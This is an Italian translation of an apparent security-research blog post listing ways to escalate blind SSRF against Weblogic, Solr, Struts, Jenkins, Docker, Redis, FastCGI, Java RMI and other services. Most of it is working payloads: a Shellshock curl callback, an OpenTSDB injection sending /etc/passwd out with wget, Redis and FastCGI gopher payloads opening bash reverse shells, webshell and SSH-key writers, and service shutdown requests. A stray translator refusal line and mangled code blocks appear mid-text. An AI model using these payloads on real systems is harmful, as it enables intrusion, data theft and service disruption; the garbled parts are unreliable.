
Un elenco esaustivo di tutti i possibili modi in cui puoi concatenare la tua vulnerabilità Blind SSRF
La Server Side Request Forgery si verifica quando è possibile indurre un server a effettuare richieste arbitrarie per conto tuo. Poiché le richieste vengono effettuate dal server, potrebbe essere possibile accedere a risorse interne grazie alla posizione del server nella rete. Negli ambienti cloud, la SSRF comporta un rischio più significativo a causa della presenza di endpoint di metadati che possono contenere credenziali o segreti sensibili.
Quando si sfrutta la server-side request forgery, spesso ci si può trovare in una situazione in cui la risposta non può essere letta. Nel settore, questo comportamento viene spesso definito "Blind SSRF". In tali situazioni, come si dimostra l'impatto? Questa è stata una discussione interessante avviata da Justin Gardner su Twitter:
I've been finding a large amount of Blind SSRFs recently. What kind of one-shot RCE's have you guys used as pivots for these in the past? I've got access to some Kafka and a bunch of other things. @nnwakelam @thedawgyg
— Justin Gardner (@Rhynorater) January 13, 2021
Se riesci a raggiungere risorse interne, ci sono diverse potenziali catene di exploit che possono essere eseguite per dimostrare l'impatto. Questo post del blog tenta di entrare nel dettaglio di ogni catena di exploit nota quando si utilizza la blind SSRF, e verrà aggiornato man mano che verranno scoperte e condivise altre tecniche.
Se ci siamo persi qualche tecnica, inviaci un tweet o un messaggio diretto: @assetnote e la aggiungeremo a questo blog.
I tend to call them SSRF canaries, when chaining a blind SSRF to another SSRF internally which makes an additional call externally, or by an app-specific open redir or blind XXE. Confluence, Artifactory, Jenkins and JAMF have some that works well.
— Frans Rosén (@fransrosen) January 13, 2021
Per convalidare di poter interagire con servizi o applicazioni interni, puoi utilizzare le "canarie SSRF".
Questo accade quando possiamo richiedere un URL interno che esegue un'altra SSRF e chiama il tuo host canary. Se ricevi una richiesta sul tuo host canary, significa che hai raggiunto con successo un servizio interno in grado di effettuare richieste in uscita.
Questo è un modo efficace per verificare che una vulnerabilità SSRF abbia accesso a reti o applicazioni interne, e anche per verificare la presenza di determinati software sulla rete interna. Inoltre, a seconda di dove si trova, puoi potenzialmente spostarti verso parti più sensibili di una rete interna utilizzando una canary SSRF.
Con l'obiettivo di trovare il maggior numero possibile di host interni, le fonti DNS possono essere utilizzate per trovare tutti i record che puntano a host interni.
Negli ambienti cloud, vediamo spesso ELB che puntano a host all'interno di una VPC interna. A seconda della VPC in cui si trova l'asset che stai prendendo di mira, potrebbe essere possibile accedere ad altri host all'interno della stessa VPC.
Ad esempio, considera che il seguente host sia stato scoperto dalle fonti DNS:```bash livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82
Puoi presumere che `es` stia per Elasticsearch, e poi eseguire ulteriori attacchi su questo host. Puoi anche inviare tutti questi payload SSRF ciechi su tutti gli host "interni" identificati tramite questo metodo. Questo è spesso efficace.
Per trovare più host interni, consiglio di prendere tutti i tuoi dati DNS e poi usare qualcosa come [AltDNS](https://github.com/infosec-au/altdns) per generare permutazioni e poi risolverle con un [DNS bruteforcer veloce](https://github.com/blechschmidt/massdns).
Una volta completato, identifica tutti gli host interni appena scoperti e usali come parte della tua catena SSRF cieca.
## Side Channel Leaks
Quando sfrutti vulnerabilità SSRF cieche, potresti essere in grado di divulgare alcune informazioni sulla risposta restituita. Ad esempio, supponiamo di avere una SSRF cieca tramite XXE, i messaggi di errore potrebbero indicare se:
- Una risposta è stata restituita
`Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.`
vs.
- Host e porta non sono raggiungibili
`Error parsing request: System.Net.WebException: Unable to connect to the remote server`
Allo stesso modo, al di fuori delle XXE, un'applicazione web potrebbe anche avere una perdita di canale laterale che può essere individuata ispezionando le differenze nei:
- **Codice di stato della risposta**:
Asset interno online:porta risponde con `200 OK` vs asset interno offline:porta `500 Internal Server Error`
- **Contenuto della risposta**:
La dimensione della risposta in byte è più piccola o più grande a seconda che l'URL che stai cercando di richiedere sia raggiungibile o meno.
- **Timing della risposta**:
I tempi di risposta sono più lenti o più veloci a seconda che l'URL che stai cercando di richiedere sia raggiungibile o meno.
---------------
# Tecniche
**Possibili via HTTP(s)**
- [Elasticsearch](#elasticsearch)
- [Weblogic](#weblogic)
- [Hashicorp Consul](#consul)
- [Shellshock](#shellshock)
- [Apache Druid](#druid)
- [Apache Solr](#solr)
- [PeopleSoft](#peoplesoft)
- [Apache Struts](#struts)
- [JBoss](#jboss)
- [Confluence](#confluence)
- [Jira](#jira)
- [Altri prodotti Atlassian](#atlassian-products)
- [OpenTSDB](#opentsdb)
- [Jenkins](#jenkins)
- [Hystrix Dashboard](#hystrix)
- [W3 Total Cache](#w3)
- [Docker](#docker)
- [Gitlab Prometheus Redis Exporter](#redisexporter)
**Possibili via Gopher**
- [Redis](#redis)
- [Memcache](#memcache)
- [Apache Tomcat](#tomcat)
- [FastCGI](#fastcgi)
- [Java RMI](#java-rmi)
**Strumenti**
- [Gopherus](#gopherus)
- [remote-method-guesser](#remote-method-guesser)
- [SSRF Proxy](#ssrfproxy)
----------------------------------
**Possibili via HTTP(s)**
<div id="elasticsearch"></div>
## Elasticsearch
**Porta comunemente associata: 9200**
Quando Elasticsearch è distribuito internamente, di solito non richiede autenticazione.
Se hai una SSRF parzialmente cieca in cui puoi determinare il codice di stato, controlla se i seguenti endpoint restituiscono un 200:```http
/_cluster/health
/_cat/indices
/_cat/health
Se hai un SSRF cieco con cui puoi inviare richieste POST, puoi spegnere l'istanza Elasticsearch inviando una richiesta POST al seguente percorso:
Nota: l'API _shutdown è stata rimossa da Elasticsearch versione 2.x in poi. Questo funziona solo in Elasticsearch 1.6 e versioni precedenti:```http
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
<div id="weblogic"></div>
## Weblogic
**Porte comunemente associate: 80, 443 (SSL), 7001, 8888**
**SSRF Canary: UDDI Explorer (CVE-2014-4210)**```http
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
Questo funziona anche via GET:```bash http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
Questo endpoint è anche vulnerabile all'iniezione CRLF:```
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close
I'm not going to be able to help with that request because no source content was actually provided. If you paste the text that needs to be translated, I can translate it for you.``` root@mail:~# nc -lvp 4000 Listening on [0.0.0.0] (family 0, port 4000) Connection from example.com 43111 received! POST /exp HTTP/1.11 X-CLRF: Injected HTTP/1.1 Content-Type: text/xml; charset=UTF-8 soapAction: "" Content-Length: 418 User-Agent: Java1.6.0_24 Host: attacker.com:4000 Accept: text/html, image/gif, image/jpeg, /; q=.2 Connection: Keep-Alive
sdf**SSRF Canary: CVE-2020-14883**
Tratto da [qui](https://forum.90sec.com/t/topic/1412).
Linux:```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
Windows:```http POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: vulnerablehost:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
<div id="consul"></div>
## Hashicorp Consul
**Porte comunemente in ascolto: 8500, 8501 (SSL)**
Il writeup è disponibile [qui](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html).
<div id="shellshock"></div>
## Shellshock
**Porte comunemente in ascolto: 80, 443 (SSL), 8080**
Per testare efficacemente Shellshock, potrebbe essere necessario aggiungere un header contenente il payload. I seguenti percorsi CGI vale la pena provare:
Breve elenco di percorsi CGI da testare:
[Gist contenente i percorsi](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).
**SSRF Canary: Shellshock tramite User Agent**```bash
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
Porte comunemente in ascolto: 80, 8080, 8888, 8082
Vedi il riferimento API per Apache Druid qui.
Se puoi vedere il codice di stato, controlla i seguenti percorsi per verificare se restituiscono un codice di stato 200:```bash /status/selfDiscovered/status /druid/coordinator/v1/leader /druid/coordinator/v1/metadata/datasources /druid/indexer/v1/taskStatus
Attività di spegnimento, richiede di indovinare gli ID delle attività o il nome dell'origine dati:```bash
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
Arresta i supervisor sugli Overlord di Apache Druid:```bash /druid/indexer/v1/supervisor/terminateAll /druid/indexer/v1/supervisor/{supervisorId}/shutdown
<div id="solr"></div>
## Apache Solr
**Porta comunemente associata: 8983**
**SSRF Canary: Parametro Shards**
<blockquote class="twitter-tweet" data-conversation="none" data-theme="dark"><p lang="en" dir="ltr">Per aggiungere a ciò che dice shubham - scansionare solr è relativamente facile. C'è un parametro shards= che ti permette di rimbalzare SSRF su SSRF per verificare che stai colpendo un'istanza solr alla cieca.</p>— Хавиж Наффи 🥕 (@nnwakelam) <a href="https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw">13 gennaio 2021</a></blockquote>
Tratto da [qui](https://github.com/veracode-research/solr-injection).```bash
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solr
SSRF Canary: Solr XXE (2017)
Apache Solr 7.0.1 XXE (Packetstorm)```bash /solr/gettingstarted/select?q={!xmlparser v='' /xxx?q={!type=xmlparser v=""}
**RCE tramite dataImportHandler**
[Ricerca su RCE tramite dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)
<div id="peoplesoft"></div>
## PeopleSoft
**Porte comunemente in ascolto: 80,443 (SSL)**
Tratto da questa ricerca [qui](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).
**SSRF Canary: XXE #1**```http
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>
SSRF Canary: XXE #2```http POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1 Host: website.com Content-Type: application/xml ...
<div id="struts"></div>
## Apache Struts
**Porte comunemente in ascolto: 80,443 (SSL),8080,8443 (SSL)**
Tratto da [qui](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
**SSRF Canary: Struts2-016**:
Aggiungi questo alla fine di ogni endpoint/URL interno che conosci:```http
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
Porte comunemente associate: 80,443 (SSL),8080,8443 (SSL)
Tratto da qui.
SSRF Canary: Distribuisci WAR da URL```bash /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
<div id="confluence"></div>
## Confluence
**Porte tipicamente associate: 80,443 (SSL),8080,8443 (SSL)**
**SSRF Canary: Sharelinks (versioni di Confluence rilasciate da novembre 2016 e precedenti)**```bash
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)
Ticket di sicurezza Atlassian OAUTH-344```bash /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
<div id="jira"></div>
## Jira
**Porte comunemente associate: 80,443 (SSL),8080,8443 (SSL)**
**SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**
[Atlassian Security Ticket OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)
Ticket di sicurezza Atlassian JRASERVER-69793```bash /plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:[email protected]
<div id="atlassian-products"></div>
## Altri prodotti Atlassian
**Porte comunemente in ascolto: 80,443 (SSL),8080,8443 (SSL)**
**SSRF Canary: iconUriServlet (CVE-2017-9506)**:
- Bamboo < 6.0.0
- Bitbucket < 4.14.4
- Crowd < 2.11.2
- Crucible < 4.3.2
- Fisheye < 4.3.2
[Ticket di sicurezza Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
Porta comunemente in ascolto: 4242
OpenTSDB Esecuzione di codice remoto
SSRF Canary: curl tramite RCE```bash /q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
[OpenTSDB 2.4.0 Esecuzione di codice remoto](https://github.com/OpenTSDB/opentsdb/issues/2051)
**SSRF Canary: curl via RCE - CVE-2020-35476**```bash
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
Porte comunemente in uso: 80,443 (SSL),8080,8888
Ottimo approfondimento qui.
SSRF Canary: CVE-2018-1000600```bash /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai
**RCE**
Segui le istruzioni qui per ottenere RCE tramite GET: [Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)```bash
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
RCE tramite Groovy``` cmd = 'curl burp_collab' pay = 'public class x {public x(){"%s".execute()}}' % cmd data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
<div id="hystrix"></div>
## Hystrix Dashboard
**Porte comunemente associate: 80,443 (SSL),8080**
Spring Cloud Netflix, versioni 2.2.x precedenti alla 2.2.4, versioni 2.1.x precedenti alla 2.1.6.
**SSRF Canary: CVE-2020-5412**```bash
/proxy.stream?origin=http://SSRF_CANARY/
Porte comunemente associate: 80,443 (SSL)
W3 Total Cache 0.9.2.6-0.9.3
SSRF Canary: CVE-2019-6715
Questa deve essere una richiesta PUT:```bash PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1 Host: {{Hostname}} Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36 Content-Length: 124 Content-Type: application/x-www-form-urlencoded Connection: close
{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}
**SSRF Canary**
L'avviso per questa vulnerabilità è stato rilasciato qui: [Vulnerabilità SSRF in W3 Total Cache](https://klikki.fi/adv/w3_total_cache.html)
Questo codice PHP genererà un payload per il tuo host SSRF Canary (sostituisci `url` con il tuo host canary):```php
<?php
$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);
?>
Porte comunemente in ascolto: 2375, 2376 (SSL)
Se disponi di un SSRF parzialmente cieco, puoi utilizzare i seguenti percorsi per verificare la presenza dell'API di Docker:```bash /containers/json /secrets /services
**RCE tramite esecuzione di un'immagine docker arbitraria**```http
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...
{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}
Sostituisci alpine con un'immagine arbitraria che desideri far eseguire al container docker.
Porte comunemente associate: 9121
Questa vulnerabilità colpisce le istanze Gitlab precedenti alla versione 13.1.1. Secondo la documentazione Gitlab Prometheus and its exporters are on by default, starting with GitLab 9.0.
Questi exporter offrono un metodo eccellente per un attaccante per spostarsi e attaccare altri servizi usando CVE-2020-13379. Uno degli exporter facilmente sfruttabili è il Redis Exporter.
Il seguente endpoint permetterà a un attaccante di scaricare tutte le chiavi nel server redis fornito tramite il parametro target:```bash http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
**Possibile tramite Gopher**
<div id="redis"></div>
## Redis
**Porta comunemente in ascolto: 6379**
Letture consigliate:
- [Tentare di hackerare Redis tramite richieste HTTP](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
- [Exploit SSRF contro Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
**RCE tramite Cron** - [Superfici di attacco Gopher](https://blog.chaitin.cn/gopher-attack-surfaces/)```bash
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
Gopher:```bash gopher://127.0.0.1:6379/_1%0d%0a$8%0d%0aflushall%0d%0a3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
**RCE tramite Shell Upload (PHP)** - [Riepilogo Redis Getshell](https://www.mdeditor.tw/pl/pBy0)```python
#!/usr/bin/env python
# -*-coding:utf-8-*-
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
RCE tramite authorized_keys - Riepilogo Redis Getshell```python import urllib protocol="gopher://" ip="192.168.189.208" port="6379"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n" filename="authorized_keys" path="/root/.ssh/" passwd="" cmd=["flushall", "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd
if name=="main": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
**RCE su GitLab tramite protocollo Git**
Ottimo writeup di Liveoverflow [qui](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/).
Anche se per sfruttarla era necessario l'accesso autenticato a GitLab, includo qui il payload poiché il protocollo `git` potrebbe funzionare sul target che stai attaccando. Questo payload è solo di riferimento.```bash
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
Porta comunemente associata: 11211
<div id="tomcat"></div>
## Apache Tomcat
**Porte comunemente in ascolto: 80,443 (SSL),8080,8443 (SSL)**
Efficace solo contro Tomcat 6:
[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)
Writeup CTF che utilizza questa tecnica:
[From XXE to RCE: Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)
<div id="fastcgi"></div>
## FastCGI
**Porte comunemente in ascolto: 80,443 (SSL)**
Questo è stato tratto da [qui](https://blog.chaitin.cn/gopher-attack-surfaces/).```bash
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
Porte comunemente associate: 1090,1098,1099,1199,4443-4446,8999-9010,9999
Le vulnerabilità SSRF cieche che consentono byte arbitrari (basate su gopher) possono essere utilizzate per eseguire attacchi di deserializzazione o attacchi al codebase sui componenti predefiniti di Java RMI (RMI Registry, Distributed Garbage Collector, Activation System). Un'analisi dettagliata è disponibile qui. Il listato seguente mostra un esempio per la generazione del payload:```console $ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
**Strumenti**
<div id="gopherus"></div>
## Gopherus
- [Gopherus - Github](https://github.com/tarunkant/Gopherus)
- [Post del blog su Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
Questo strumento genera payload Gopher per:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
<div id="remote-method-guesser"></div>
## remote-method-guesser
- [remote-method-guesser - Github](https://github.com/qtc-de/remote-method-guesser)
- [Post del blog sull'uso di SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
*remote-method-guesser* è uno scanner di vulnerabilità *Java RMI* che supporta operazioni di attacco per le vulnerabilità *Java RMI*
più comuni. La maggior parte delle operazioni disponibili supporta l'opzione ``--ssrf``, per generare un payload *SSRF* per
l'operazione richiesta. Insieme all'opzione ``--gopher``, è possibile generare direttamente payload *gopher* pronti all'uso.
<div id="ssrfproxy"></div>
## SSRF Proxy
- [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
SSRF Proxy è un server proxy HTTP multi-thread progettato per instradare il traffico HTTP dei client attraverso server HTTP vulnerabili a Server-Side Request Forgery (SSRF).
---
Crediti:
Ringraziamenti alle seguenti persone che hanno contribuito a questo post:
- [@Rhynorater - Numerosi contributi a questo post del blog](https://twitter.com/Rhynorater)
- [@nnwakelam - Solr Shards SSRF](https://twitter.com/nnwakelam)
- [@marcioalm - Tomcat 6 Gopher RCE](https://twitter.com/marcioalm)
- [@vtnahira - OpenTSDB RCE](https://twitter.com/vtnahira)
- [@fransrosen - Concetto dei canary SSRF](https://twitter.com/fransrosen)
- [@theabrahack - RCE tramite Jenkins Groovy](https://twitter.com/@theabrahack)
- [@qtc_de - RCE tramite Java RMI](https://twitter.com/qtc_de)